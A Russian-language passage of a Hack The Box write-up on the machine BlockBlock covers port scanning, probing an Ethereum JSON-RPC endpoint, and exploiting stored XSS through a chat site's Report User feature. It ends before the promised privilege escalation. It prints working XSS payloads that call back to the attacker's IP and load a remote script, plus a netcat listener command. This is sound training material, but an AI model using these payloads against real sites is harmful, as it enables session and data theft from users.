Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня я покажу, как можно повысить права в Arch Linux путем создания собственного пакета pacman. Но прежде чем доберемся до ОС, нам предстоит проэксплуатировать XSS на сайте и выкрасть приватные данные через API Ethereum, используя Forge — ПО для проверки смарт‑контрактов.
Наша цель — получение прав суперпользователя на машине BlockBlock с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.43 blockblock.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел три открытых порта:
Смотрим оба порта веб‑сервера. На 80-м работает какой‑то децентрализованный чат, а порт 8545 вернул ошибку.
Главная страница сайта на порте 80
Ошибка на порте 8545
На сайте с чатом есть возможность регистрации и авторизации. Авторизованному пользователю, как правило, доступно больше информации, поэтому создадим свою учетку. На главной странице нас встречает бот, а также ссылка на смарт‑контракты.
Главная страница авторизованного пользователя
Ссылка на смарт‑контракты
По ссылке доступно содержимое файлов Chat.sol
и Database.sol
.
Содержимое файлов
Проверим историю запросов в Burp History. Хотя мы работали только на одном сайте, в истории есть POST-запрос на порт 8545.
POST-запрос на порт 8545
В запросе передаются данные, в которых можно выделить строку‑идентификатор eth_blockNumber
. Немного погуглив, находим справку по API Ethereum.
Информация об API eth_blockNumber
Попробуем выполнить запрос к сервису и получить аккаунты через API eth_accounts
. Однако в ответе сервера получаем ошибку, наталкивающую на мысль о необходимости авторизации.
Запрос к API eth_accounts
Вернемся к боту и обратим внимание на кнопку Report User. Вводим любую строку и получаем сообщение, что наш ввод отправлен модератору.
Результат функции Report User
Сообщение на сайте
Сразу проверим наличие XSS. Для этого открываем листенер (nc -nlvp 8000
) и отправляем нагрузку, которая постучится на открытый порт. Через несколько секунд в логах листенера видим запрос, а значит, XSS присутствует.
<img src=x onerror="fetch('http://10.10.16.89:8000/test_xss')" />
Логи листенера
Теперь сделаем нагрузку, которая будет скачивать с нашего сервера файл с кодом на JavaScript и выполнять его.
var scrpt = document.createElement('script');scrpt.setAttribute('src','http://10.10.16.89:8000/xss.js');document.head.appendChild(scrpt);
Источник: xakep.ru